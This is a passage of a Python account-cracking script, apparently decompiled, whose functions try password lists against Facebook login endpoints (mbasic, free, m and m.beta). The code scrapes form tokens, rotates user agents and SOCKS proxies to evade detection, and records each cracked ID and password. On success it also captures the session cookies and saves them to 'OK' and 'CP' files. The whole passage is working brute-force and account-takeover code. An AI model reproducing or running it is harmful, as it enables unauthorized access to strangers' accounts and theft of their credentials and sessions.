  1263.             dataa ={
  1264. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  1265. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  1266. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  1267. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  1268. 'email':idf,
  1269. 'pass':pw
  1270. }
  1271.             ses.headers.update({'Host': 'mbasic.facebook.com',
  1272. 'cache-control': 'max-age=0',
  1273. 'upgrade-insecure-requests': '1',
  1274. 'origin': 'https://mbasic.facebook.com',
  1275. 'content-type': 'application/x-www-form-urlencoded',
  1276. 'user-agent': ua,
  1277. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1278. 'sec-fetch-site': 'same-origin',
  1279. 'sec-fetch-mode': 'cors',
  1280. 'sec-fetch-user': 'empty',
  1281. 'sec-fetch-dest': 'document',
  1282. 'referer': 'https://mbasic.facebook.com/login/?email='+idf,
  1283. 'accept-encoding':'gzip, deflate br',
  1284. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  1285.  
  1286.             po = ses.post('https://mbasic.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated h2',data=dataa,allow_redirects=False,proxies=proxs)
  1287.             if "checkpoint" in po.cookies.get_dict().keys():
  1288.                 if 'no' in gabriel:
  1289.                     cp+=1
  1290.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1291.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1292.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1293.                     cetak(CYXID)
  1294.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1295.                     akun.append(idf+'|'+pw)
  1296.                     break
  1297.                    
  1298.                 if 'no' in gabriel:
  1299.                     cp+=1
  1300.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1301.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1302.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1303.                     cetak(CYXID)
  1304.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1305.                     akun.append(idf+'|'+pw)
  1306.                     ceker(idf,pw)
  1307.                     break
  1308.             elif "c_user" in ses.cookies.get_dict().keys():
  1309.                 if 'no' in taplikasi:
  1310.                     ok+=1
  1311.                     coki=po.cookies.get_dict()
  1312.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1313.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1314.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1315.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1316.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1317.                     cetak(CYXID)
  1318.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1319.                     break
  1320.                 elif 'ya' in taplikasi:
  1321.                     ok+=1
  1322.                     coki=po.cookies.get_dict()
  1323.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1324.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1325.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1326.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1327.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1328.                     cetak(CYXID)
  1329.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1330.                     cek_apk(kuki)
  1331.                     break      
  1332.                
  1333.             else:
  1334.                 continue
  1335.         except requests.exceptions.ConnectionError:
  1336.             time.sleep(31)
  1337.     loop+=1
  1338.    
  1339. def metod7(idf,pwv):
  1340.     global loop,ok,cp
  1341.     prog.update(des,description=f"[bold green]Mbasic V2[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1342.     prog.advance(des)
  1343.     ua = random.choice(ugen)
  1344.     ua2 = random.choice(ugen2)
  1345.     ses = requests.Session()
  1346.     for pw in pwv:
  1347.         try:
  1348.             if 'ya' in ualuh: ua = ualu[0]
  1349.             nip=random.choice(prox)
  1350.             proxs= {'http': 'socks5://'+nip}
  1351.             ses.headers.update({"Host":"mbasic.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  1352.             p = ses.get('https://mbasic.facebook.com/login/?email='+idf).text
  1353.             dataa ={
  1354. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  1355. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  1356. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  1357. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  1358. 'email':idf,
  1359. 'pass':pw
  1360. }
  1361.             ses.headers.update({'Host': 'free.facebook.com',
  1362. 'cache-control': 'max-age=0',
  1363. 'upgrade-insecure-requests': '1',
  1364. 'origin': 'https://free.facebook.com',
  1365. 'content-type': 'application/x-www-form-urlencoded',
  1366. 'user-agent': ua,
  1367. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1368. 'sec-fetch-site': 'same-origin',
  1369. 'sec-fetch-mode': 'cors',
  1370. 'sec-fetch-user': 'empty',
  1371. 'sec-fetch-dest': 'document',
  1372. 'referer': 'https://free.facebook.com/login/?email='+idf,
  1373. 'accept-encoding':'gzip, deflate br',
  1374. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  1375.  
  1376.             po = ses.post('https://mbasic.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated h2',data=dataa,allow_redirects=False,proxies=proxs)
  1377.             if "checkpoint" in po.cookies.get_dict().keys():
  1378.                 if 'no' in gabriel:
  1379.                     cp+=1
  1380.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1381.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1382.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1383.                     cetak(CYXID)
  1384.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1385.                     akun.append(idf+'|'+pw)
  1386.                     break
  1387.                    
  1388.                 if 'no' in gabriel:
  1389.                     cp+=1
  1390.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1391.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1392.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1393.                     cetak(CYXID)
  1394.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1395.                     akun.append(idf+'|'+pw)
  1396.                     ceker(idf,pw)
  1397.                     break
  1398.             elif "c_user" in ses.cookies.get_dict().keys():
  1399.                 if 'no' in taplikasi:
  1400.                     ok+=1
  1401.                     coki=po.cookies.get_dict()
  1402.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1403.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1404.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1405.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1406.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1407.                     cetak(CYXID)
  1408.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1409.                     break
  1410.                 elif 'ya' in taplikasi:
  1411.                     ok+=1
  1412.                     coki=po.cookies.get_dict()
  1413.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1414.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1415.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1416.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1417.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1418.                     cetak(CYXID)
  1419.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1420.                     cek_apk(kuki)
  1421.                     break      
  1422.                
  1423.             else:
  1424.                 continue
  1425.         except requests.exceptions.ConnectionError:
  1426.             time.sleep(31)
  1427.     loop+=1
  1428.    
  1429. def metod8(idf,pwv):
  1430.     global loop,ok,cp
  1431.     prog.update(des,description=f"[bold green]Free V1[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1432.     prog.advance(des)
  1433.     ua = random.choice(ugen)
  1434.     ua2 = random.choice(ugen2)
  1435.     ses = requests.Session()
  1436.     for pw in pwv:
  1437.         try:
  1438.             if 'ya' in ualuh: ua = ualu[0]
  1439.             nip=random.choice(prox)
  1440.             proxs= {'http': 'socks5://'+nip}
  1441.             ses.headers.update({"Host":"free.facebook.com","upgrade-insecure-requests":"1","user-agent":ua,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://free.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"})
  1442.             p = ses.get('https://free.facebook.com/login/?email='+idf).text
  1443.             dataa ={
  1444. 'lsd':re.search('name="lsd" value="(.*?)"', str(p)).group(1),
  1445. 'jazoest':re.search('name="jazoest" value="(.*?)"', str(p)).group(1),
  1446. 'm_ts':re.search('name="m_ts" value="(.*?)"', str(p)).group(1),
  1447. 'li':re.search('name="li" value="(.*?)"', str(p)).group(1),
  1448. 'email':idf,
  1449. 'pass':pw
  1450. }
  1451.             ses.headers.update({'Host': 'free.facebook.com',
  1452. 'cache-control': 'max-age=0',
  1453. 'upgrade-insecure-requests': '1',
  1454. 'origin': 'https://free.facebook.com',
  1455. 'content-type': 'application/x-www-form-urlencoded',
  1456. 'user-agent': ua,
  1457. 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1458. 'sec-fetch-site': 'same-origin',
  1459. 'sec-fetch-mode': 'cors',
  1460. 'sec-fetch-user': 'empty',
  1461. 'sec-fetch-dest': 'document',
  1462. 'referer': 'https://free.facebook.com/login/?email='+idf,
  1463. 'accept-encoding':'gzip, deflate br',
  1464. 'accept-language':'en-GB,en-US;q=0.9,en;q=0.8'})
  1465.  
  1466.             po = ses.post('https://free.facebook.com/login/device-based/regular/login/?shbl=1&refsrc=deprecated',data=dataa,allow_redirects=False,proxies=proxs)
  1467.             if "checkpoint" in po.cookies.get_dict().keys():
  1468.                 if 'no' in gabriel:
  1469.                     cp+=1
  1470.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1471.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1472.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1473.                     cetak(CYXID)
  1474.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1475.                     akun.append(idf+'|'+pw)
  1476.                     break
  1477.                    
  1478.                 if 'no' in gabriel:
  1479.                     cp+=1
  1480.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1481.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1482.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1483.                     cetak(CYXID)
  1484.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1485.                     akun.append(idf+'|'+pw)
  1486.                     ceker(idf,pw)
  1487.                     break
  1488.             elif "c_user" in ses.cookies.get_dict().keys():
  1489.                 if 'no' in taplikasi:
  1490.                     ok+=1
  1491.                     coki=po.cookies.get_dict()
  1492.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1493.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1494.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1495.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1496.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1497.                     cetak(CYXID)
  1498.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1499.                     break
  1500.                 elif 'ya' in taplikasi:
  1501.                     ok+=1
  1502.                     coki=po.cookies.get_dict()
  1503.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1504.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1505.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1506.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1507.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1508.                     cetak(CYXID)
  1509.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1510.                     cek_apk(kuki)
  1511.                     break      
  1512.                
  1513.             else:
  1514.                 continue
  1515.         except requests.exceptions.ConnectionError:
  1516.             time.sleep(31)
  1517.     loop+=1
  1518.    
  1519. #--------------------[ METODE RANDOM ]-----------------#
  1520. def metod9(idf,pwv):
  1521.     global loop,ok,cp
  1522.     prog.update(des,description=f"[bold green]asyinc.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1523.     prog.advance(des)
  1524.     ua = random.choice(ugen)
  1525.     ua2 = random.choice(ugen2)
  1526.     ses = requests.Session()
  1527.     for pw in pwv:
  1528.         try:
  1529.             if 'ya' in ualuh: ua = ualu[0]
  1530.             nip=random.choice(prox)
  1531.             proxs= {'http': 'socks4://'+nip}
  1532.             ses.headers.update({"Host": "m.facebook.com","cache-control": "max-age=0","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","sec-ch-ua": '" Not A;Brand";v="99", "Chromium";v="104"',"sec-ch-ua-mobile": "?1","sec-fetch-site": "same-origin","sec-fetch-mode": "cors","sec-fetch-dest": "empty","sec-fetch-user": "?1","upgrade-insecure-requests": "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1533.             p = ses.get("https://m.facebook.com/login.php?skip_api_login=1&api_key=206428089508143&kid_directed_site=0&app_id=206428089508143&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D206428089508143%26redirect_uri%3Dhttps%253A%252F%252Fwww.zalora.co.id%252Fcustomer%252Fsocialconnect%252Fendpoint%253Fhauth_done%253DFacebook%26scope%3Demail%252Cuser_birthday%26state%3DHA-S3X0PV7ZQH6DAFTK5IJRM9EWYCBOU8214NLG%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D0c67b520-a187-48a6-8125-3256fe975775%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.zalora.co.id%2Fcustomer%2Fsocialconnect%2Fendpoint%3Fhauth_done%3DFacebook%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DHA-S3X0PV7ZQH6DAFTK5IJRM9EWYCBOU8214NLG%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1534.             dataa ={'lsd': re.search('name="lsd" value="(.*?)"',str(p.text)).group(1), 'jazoest': re.search('name="jazoest" value="(.*?)"',str(p.text)).group(1), 'm_ts': re.search('name="m_ts" value="(.*?)"',str(p.text)).group(1), 'li': re.search('name="li" value="(.*?)"',str(p.text)).group(1), 'try_number': '0', 'unrecognized_tries': '0', 'email': idf, 'pass': pw, 'prefill_contact_point': '', 'prefill_source': '', 'prefill_type': '', 'first_prefill_source': '', 'first_prefill_type': '', 'had_cp_prefilled': 'false', 'had_password_prefilled': 'false', 'is_smart_lock': 'false', 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(p.text)).group(1)}
  1535.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1536.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1537.             heade={
  1538.             "Host": "m.facebook.com",
  1539.             "content-length": f"{len(str(dataa))}",
  1540.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(p.text)).group(1),
  1541.             "origin": "https://m.facebook.com",
  1542.             "content-type": "application/x-www-form-urlencoded",
  1543.             "user-agent": ua,
  1544.             "accept": "*/*",
  1545.             "x-requested-with": "com.microsoft.bing",
  1546.             "sec-ch-ua": '"Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"',
  1547.             "sec-ch-ua-platform": '"Android"',
  1548.             "sec-ch-ua-mobile": "?1",
  1549.             "sec-fetch-site": "same-origin",
  1550.             "sec-fetch-mode": "cors",
  1551.             "sec-fetch-dest": "empty",
  1552.             "sec-fetch-user": "?1",
  1553.             "referer": "https://m.facebook.com/v8.0/dialog/oauth?response_type=code%2Cgranted_scopes&client_id=1239138353201716&redirect_uri=https%3A%2F%2Fkachishop-d0c3a.firebaseapp.com%2F__%2Fauth%2Fhandler&state=AMbdmDmDaplWH_DdoV_W4QQTmWmecz1GxWXAlj2cdr_Vf_0aKRi-oWe-Z3FTiIj8pa4JD342zNeLW91aHp12LY9dOYb8tOPKOtsEllaj3JYdF79-cf8Wr-OPLhAn7Zq1LeUfJWdCxX2mAPKVYOG0CChDNxiBnmVCUG3LGCJ3sCTSc1Eb5dZseFVZe2lUqc6Yzz92V58Ki3TvYM7HjC_421qwGmMHJNi0xIaeVA917YCkm8d-wMthO_lSm3eIQPryPnbreRYgONBzhtx692MYCYA3_6dPlkm70JVkIuHGHRiJ98KokSMQRhxjZJCAp_GbKVMDXvSWm0ZtdYR5CI4UZgrB&scope=public_profile%2Cemail&display=popup&ret=login&fbapp_pres=0&logger_id=087a364c-3d69-45b4-a55b-047dae50317c&tp=unspecified",
  1554.             "accept-encoding": "gzip, deflate br",
  1555.             "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  1556.             }
  1557.             po = ses.post('https://m.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1558.             if "checkpoint" in po.cookies.get_dict().keys():
  1559.                 if 'no' in gabriel:
  1560.                     cp+=1
  1561.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1562.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1563.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1564.                     cetak(CYXID)
  1565.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1566.                     akun.append(idf+'|'+pw)
  1567.                     break
  1568.                    
  1569.                 if 'no' in gabriel:
  1570.                     cp+=1
  1571.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1572.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1573.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1574.                     cetak(CYXID)
  1575.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1576.                     akun.append(idf+'|'+pw)
  1577.                     ceker(idf,pw)
  1578.                     break
  1579.             elif "c_user" in ses.cookies.get_dict().keys():
  1580.                 if 'no' in taplikasi:
  1581.                     ok+=1
  1582.                     coki=po.cookies.get_dict()
  1583.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1584.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1585.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1586.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1587.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1588.                     cetak(CYXID)
  1589.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1590.                     break
  1591.                 elif 'ya' in taplikasi:
  1592.                     ok+=1
  1593.                     coki=po.cookies.get_dict()
  1594.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1595.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1596.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1597.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1598.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1599.                     cetak(CYXID)
  1600.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1601.                     cek_apk(kuki)
  1602.                     break      
  1603.                
  1604.             else:
  1605.                 continue
  1606.         except requests.exceptions.ConnectionError:
  1607.             time.sleep(31)
  1608.     loop+=1
  1609.    
  1610. def metod10(idf,pwv):
  1611.     global loop,ok,cp
  1612.     prog.update(des,description=f"[bold green]m.beta.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1613.     prog.advance(des)
  1614.     ua = random.choice(ugen)
  1615.     ua2 = random.choice(ugen2)
  1616.     ses = requests.Session()
  1617.     for pw in pwv:
  1618.         try:
  1619.             if 'ya' in ualuh: ua = ualu[0]
  1620.             nip=random.choice(prox)
  1621.             proxs= {'http': 'socks4://'+nip}
  1622.             ses.headers.update({'Host': 'm.beta.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1623.             p = ses.get('https://m.beta.facebook.com/?locale=id_ID&_rdr')
  1624.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.beta.facebook.com/login/save-device/?login_source=login","flow":"login_no_pin","pass":pw,}
  1625.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1626.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1627.             heade={'Host': 'm.beta.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.beta.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.beta.facebook.com/?locale=id_ID&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1628.             po = ses.post('https://m.beta.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1629.             if "checkpoint" in po.cookies.get_dict().keys():
  1630.                 if 'no' in gabriel:
  1631.                     cp+=1
  1632.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1633.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1634.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1635.                     cetak(CYXID)
  1636.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1637.                     akun.append(idf+'|'+pw)
  1638.                     break
  1639.                    
  1640.                 if 'no' in gabriel:
  1641.                     cp+=1
  1642.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=28,style=f"bold yellow"))
  1643.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=38,style=f"bold yellow")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=8,style=f"bold yellow"))
  1644.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold yellow"))
  1645.                     cetak(CYXID)
  1646.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1647.                     akun.append(idf+'|'+pw)
  1648.                     ceker(idf,pw)
  1649.                     break
  1650.             elif "c_user" in ses.cookies.get_dict().keys():
  1651.                 if 'no' in taplikasi:
  1652.                     ok+=1
  1653.                     coki=po.cookies.get_dict()
  1654.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1655.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=24,style=f"bold green"))
  1656.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=38,style=f"bold green")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=8,style=f"bold green"))
  1657.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold green"))
  1658.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold green"))
  1659.                     cetak(CYXID)
  1660.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1661.                     break
  1662.                 elif 'ya' in taplikasi:
  1663.                     ok+=1
  1664.                     coki=po.cookies.get_dict()
